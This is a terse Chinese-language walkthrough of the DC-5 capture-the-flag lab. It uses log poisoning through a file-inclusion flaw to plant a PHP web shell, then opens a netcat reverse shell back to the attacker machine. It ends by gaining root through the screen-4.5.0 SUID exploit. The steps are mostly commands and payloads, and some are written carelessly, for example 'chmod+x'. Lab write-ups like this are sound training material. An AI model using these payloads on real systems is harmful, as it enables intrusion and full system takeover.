僅供個人娛樂
靶機信息
下載地址：http://www.five86.com/downloads/DC-5.zip
一、主機掃描
arp-scan -l
nmap -p 1-65535 -A -sV 192.168.17.131
二、信息收集
dirb http://192.168.17.131 /usr/share/wordlists/dirb/big.txt
用kali自帶工具wfuzz（自帶字典）掃描文件
cd /usr/share/wordlists/wfuzz/general
wfuzz -w /usr/share/wordlists/wfuzz/general/test.txt http://192.168.17.131/FUZZ.php
三、漏洞利用
利用文件包含
遠程文件包含
日志
http://192.168.25.135/thankyou.php?file=/var/log/nginx/access.log
http://192.168.17.131/thankyou.php?file=/var/log/nginx/error.log
重置靶機 ip 換為http://192.168.17.132
寫入一句話
GET <?php system($_GET['cmd']); ?> HTTP/1.1
http://192.168.17.132/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.17.129 8888
root@kali:~/桌面# nc -lvvp 8888
或者使用
GET /thankyou.php?file=<?php @eval($_REQUEST[cmd]);?> HTTP/1.1
python -c 'import pty;pty.spawn("/bin/bash")'
查找www-data用戶具有suid權限的命令
find / -perm -4000 2>/dev/null
發現命令 /bin/screen-4.5.0
根據內容進行編譯 直接上傳出現問題，在kali編譯在蟻劍上傳
root@kali:/tmp# vi libhax.c
root@kali:/tmp# gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
root@kali:/tmp# rm -f /tmp/libhax.c
root@kali:/tmp# vi rootshell.c
root@kali:/tmp# gcc -o /tmp/rootshell /tmp/rootshell.c
root@kali:/tmp# rm -f /tmp/rootshell.c
蟻劍上傳
或者使用
scp root@192.168.17.129:/tmp/libhax.so /tmp/
scp root@192.168.17.129:/tmp/rootshell /tmp/
繼續按照腳本
將41154.sh中剩下部分代碼另存為dc5.sh腳本文件
並在保存dc5.sh文件輸入:set ff=unix ，否則在執行腳本文件時后出錯
www-data@dc-5:/tmp$ chmod+x toroot.sh
www-data@dc-5:/tmp$./toroot.sh